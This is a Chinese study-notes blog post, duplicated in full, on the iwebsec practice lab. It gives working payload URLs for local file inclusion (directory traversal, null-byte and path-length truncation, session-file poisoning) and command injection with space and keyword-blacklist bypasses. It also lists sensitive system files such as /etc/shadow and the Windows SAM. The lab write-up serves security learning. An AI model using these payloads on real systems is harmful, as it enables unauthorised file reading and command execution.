zoukankan      html  css  js  c++  java
  • iwebsec学习笔记

    file=php://filter/read=convert.base64-encode/resource=index.php

    SQL注入

     留坑

    文件上传

     留坑

    文件包含

     1、http://xx:xx:xx:xx:xx/fi/01.php

    http://xx:xx:xx:xx:xx/fi/01.php?filename=../../../../etc/passwd

    用../不断返回上一层,然后重新打开敏感文件

    Linux/Unix系统:

        /etc/passwd // 账户信息

        /etc/shadow // 账户密码文件

        /usr/local/app/apache2/conf/httpd.conf // Apache2默认配置文件

        /usr/local/app/apache2/conf/extra/httpd-vhost.conf // 虚拟网站配置

        /usr/local/app/php5/lib/php.ini // PHP相关配置

        /etc/httpd/conf/httpd.conf // Apache配置文件

        /etc/my.conf // mysql 配置文件

    Windows系统:

        c:oot.ini // 查看系统版本

        c:windowssystem32inetsrvMetaBase.xml // IIS配置文件

        c:windows epairsam // 存储Windows系统初次安装的密码

        c:ProgramFilesmysqlmy.ini // MySQL配置

        c:ProgramFilesmysqldatamysqluser.MYD // MySQL root密码

        c:windowsphp.ini // php 配置信息
    还可以参考:https://blog.csdn.net/doulicau/article/details/106683724 

    灵活使用

    2、http://xx:xx:xx:xx:xx/fi/02.php

    (1):%00截断

    条件:magic_quotes_gpc = Off php版本<5.3.4)

    http://xx:xx:xx:xx:xx/fi/02.php?filename=../../../../etc/passwd%00

    同时放上一些其他的截断方法

    (2)路径长度截断

    条件:windows OS,点号需要长于256;linux OS 长于4096

    EXP

    http://www.ctfs-wiki.com/FI/FI.php?filename=test.txt/./././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././/././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././/././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././/././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././/./././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././

    (3)点号截断

    条件:windows OS,点号需要长于256

    EXP

    http://www.ctfs-wiki.com/FI/FI.php?filename=test.txt.................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

    参考自:https://blog.csdn.net/Vansnc/article/details/82528395

     3、http://xx.xx.xx.xx:xx/fi/03.php

    session本地文件包含

    前提需要一个本地文件包含,比如iwebsec中的前面两个

    然后就能更好的利用session本地文件包含

    session路径:

    Linux:

      在这里的docker镜像中,php版本是PHP Version 5.2.17。session路径一般是/var/lib/php/session/

     windows:

      像我用的phpstudy一键搭建的环境,php版本为PHP  5.4.45。session路径是E:phpStudyPHPTutorial mp mp

      

    session_start()解释:
    1.session的工作原理
    (1)首先使用session_start()函数进行初始换

    (2)当执行PHP脚本时,通过使用SESSION超全局变量注册session变量。

    (3)当PHP脚本执行结束时,未被销毁的session变量会被自动保存在本地一定路径下的session库中,这个路径可以通过php.ini文件中的session.savepath指定,下次浏览网页时可以加载使用。2.sessionstart()做了哪些初始化工作(1)读取名为PHPSESSID(如果没有改变默认值)的cookie值,假使为abc123。(2.1)若读取到PHPSESSID这个COOKIE,创建SESSION变量,并从相应的目录中(可以再php.ini中设置)读取SESSabc123(默认是这种命名方式)文件,将字符装在入SESSION变量中;(2.2) 若没有读取到PHPSESSID这个COOKIE,也会创建S​ESSION超全局变量注册session变量。同时创建一个sess_abc321(名称为随机值)的session文件,同时将abc321作为PHPSESSID的cookie值返回给浏览器端。

    漏洞分析
    此php会将获取到的GET型ctfs变量的值存入到session中。当访问http://www.ctfs-wiki/session.php?ctfs=ctfs 后,会在/var/lib/php/session目录下存储session的值。session的文件名为sess+sessionid,sessionid可以通过在浏览器F12的网络中获取

    这里payload为http://xx.xx.xx.xx:xx/fi/03.php?iwebsec=<?phpphpinfo();?>

    F12查看cookies中的PHPSESSID为dg4cqgdu1t7t7a9nb375169qr0

    进入服务器查看文件

       `1q2w3wwewq2e23

     成功写入

    用之前的本地文件包含漏洞读取这个文件

    payload:http://xx.xx.xx.xx:xx/fi/01.php?filename=../../../../var/lib/php/session/sess_dg4cqgdu1t7t7a9nb375169qr0

    • php://filter伪协议
    • php://input伪协议
    • file://伪协议利用
    • data://伪协议利用

    命令执行 

    1、

    url:http://ip:32110/exec/01.php?ip=127.0.0.1

    可以猜测是ifconfig ip

    在后面加上 ; 分隔开

    http://ip:32110/exec/01.php?ip=127.0.0.1;cat /etc/passwd

    2、

    第二个是空格绕过,如果参数中出现了空格,直接报error

    URL:http://IP:32110/exec/02.php?ip=127.0.0.1;cat%20/etc/passwd

    在linux bash中可以用以下几个符号代替空格

    <

    ${IFS}

    $IFS$9

    如果是PHP环境,也可以用%09

    URL:http://IP:32110/exec/02.php?ip=127.0.0.1;cat%09/etc/passwd

    3、

    第三个是黑名单,关键命令绕过

    cat命令被拉进黑名单了

    用a=ca;b=t;$a$b /etc/passwd绕过。

     URL:http://IP:32110/exec/03.php?ip=127.0.0.1;a=ca;b=t;$a$b%20/etc/passwd

    4、

    5、

    代码执行

      留坑

    xss

      留坑

    SSRF

      留坑

    XXE

      留坑

    反序列化

      留坑

    中间件漏洞

      留坑

    解析漏洞

      留坑

    数据库漏洞

     留坑

    ------------恢复内容开始------------

    file=php://filter/read=convert.base64-encode/resource=index.php

    SQL注入

     留坑

    文件上传

     留坑

    文件包含

     1、http://xx:xx:xx:xx:xx/fi/01.php

    http://xx:xx:xx:xx:xx/fi/01.php?filename=../../../../etc/passwd

    用../不断返回上一层,然后重新打开敏感文件

    Linux/Unix系统:

        /etc/passwd // 账户信息

        /etc/shadow // 账户密码文件

        /usr/local/app/apache2/conf/httpd.conf // Apache2默认配置文件

        /usr/local/app/apache2/conf/extra/httpd-vhost.conf // 虚拟网站配置

        /usr/local/app/php5/lib/php.ini // PHP相关配置

        /etc/httpd/conf/httpd.conf // Apache配置文件

        /etc/my.conf // mysql 配置文件

    Windows系统:

        c:oot.ini // 查看系统版本

        c:windowssystem32inetsrvMetaBase.xml // IIS配置文件

        c:windows epairsam // 存储Windows系统初次安装的密码

        c:ProgramFilesmysqlmy.ini // MySQL配置

        c:ProgramFilesmysqldatamysqluser.MYD // MySQL root密码

        c:windowsphp.ini // php 配置信息
    还可以参考:https://blog.csdn.net/doulicau/article/details/106683724 

    灵活使用

    2、http://xx:xx:xx:xx:xx/fi/02.php

    (1):%00截断

    条件:magic_quotes_gpc = Off php版本<5.3.4)

    http://xx:xx:xx:xx:xx/fi/02.php?filename=../../../../etc/passwd%00

    同时放上一些其他的截断方法

    (2)路径长度截断

    条件:windows OS,点号需要长于256;linux OS 长于4096

    EXP

    http://www.ctfs-wiki.com/FI/FI.php?filename=test.txt/./././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././/././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././/././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././/././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././/./././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././

    (3)点号截断

    条件:windows OS,点号需要长于256

    EXP

    http://www.ctfs-wiki.com/FI/FI.php?filename=test.txt.................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

    参考自:https://blog.csdn.net/Vansnc/article/details/82528395

     3、http://xx.xx.xx.xx:xx/fi/03.php

    session本地文件包含

    前提需要一个本地文件包含,比如iwebsec中的前面两个

    然后就能更好的利用session本地文件包含

    session路径:

    Linux:

      在这里的docker镜像中,php版本是PHP Version 5.2.17。session路径一般是/var/lib/php/session/

     windows:

      像我用的phpstudy一键搭建的环境,php版本为PHP  5.4.45。session路径是E:phpStudyPHPTutorial mp mp

      

    session_start()解释:
    1.session的工作原理
    (1)首先使用session_start()函数进行初始换

    (2)当执行PHP脚本时,通过使用SESSION超全局变量注册session变量。

    (3)当PHP脚本执行结束时,未被销毁的session变量会被自动保存在本地一定路径下的session库中,这个路径可以通过php.ini文件中的session.savepath指定,下次浏览网页时可以加载使用。2.sessionstart()做了哪些初始化工作(1)读取名为PHPSESSID(如果没有改变默认值)的cookie值,假使为abc123。(2.1)若读取到PHPSESSID这个COOKIE,创建SESSION变量,并从相应的目录中(可以再php.ini中设置)读取SESSabc123(默认是这种命名方式)文件,将字符装在入SESSION变量中;(2.2) 若没有读取到PHPSESSID这个COOKIE,也会创建S​ESSION超全局变量注册session变量。同时创建一个sess_abc321(名称为随机值)的session文件,同时将abc321作为PHPSESSID的cookie值返回给浏览器端。

    漏洞分析
    此php会将获取到的GET型ctfs变量的值存入到session中。当访问http://www.ctfs-wiki/session.php?ctfs=ctfs 后,会在/var/lib/php/session目录下存储session的值。session的文件名为sess+sessionid,sessionid可以通过在浏览器F12的网络中获取

    这里payload为http://xx.xx.xx.xx:xx/fi/03.php?iwebsec=<?phpphpinfo();?>

    F12查看cookies中的PHPSESSID为dg4cqgdu1t7t7a9nb375169qr0

    进入服务器查看文件

       `1q2w3wwewq2e23

     成功写入

    用之前的本地文件包含漏洞读取这个文件

    payload:http://xx.xx.xx.xx:xx/fi/01.php?filename=../../../../var/lib/php/session/sess_dg4cqgdu1t7t7a9nb375169qr0

    • php://filter伪协议
    • php://input伪协议
    • file://伪协议利用
    • data://伪协议利用

    命令执行 

    1、

    url:http://ip:32110/exec/01.php?ip=127.0.0.1

    可以猜测是ifconfig ip

    在后面加上 ; 分隔开

    http://ip:32110/exec/01.php?ip=127.0.0.1;cat /etc/passwd

    2、

    第二个是空格绕过,如果参数中出现了空格,直接报error

    URL:http://IP:32110/exec/02.php?ip=127.0.0.1;cat%20/etc/passwd

    在linux bash中可以用以下几个符号代替空格

    <

    ${IFS}

    $IFS$9

    如果是PHP环境,也可以用%09

    URL:http://IP:32110/exec/02.php?ip=127.0.0.1;cat%09/etc/passwd

    3、

    第三个是黑名单,关键命令绕过

    cat命令被拉进黑名单了

    用a=ca;b=t;$a$b /etc/passwd绕过。

     URL:http://IP:32110/exec/03.php?ip=127.0.0.1;a=ca;b=t;$a$b%20/etc/passwd

    4、

    5、

    代码执行

      留坑

    xss

      留坑

    SSRF

      留坑

    XXE

      留坑

    反序列化

      留坑

    中间件漏洞

      留坑

    解析漏洞

      留坑

    数据库漏洞

     留坑

    ------------恢复内容结束------------

  • 相关阅读:
    .NET:在ASP.NET中如何进行IP限制
    vim配置文件和插件
    初学Perl的感受之数据类型
    ASP.NET伪静态详解及配置
    Wayback Machine
    对单元测试的一点感悟——这是一把双刃剑
    python中使用postgres
    第三章 匿名方法
    在C#程序中使用ocx的方法
    可扩展的 “密码强度” 代码示例
  • 原文地址:https://www.cnblogs.com/This-is-Y/p/13435718.html
Copyright © 2011-2022 走看看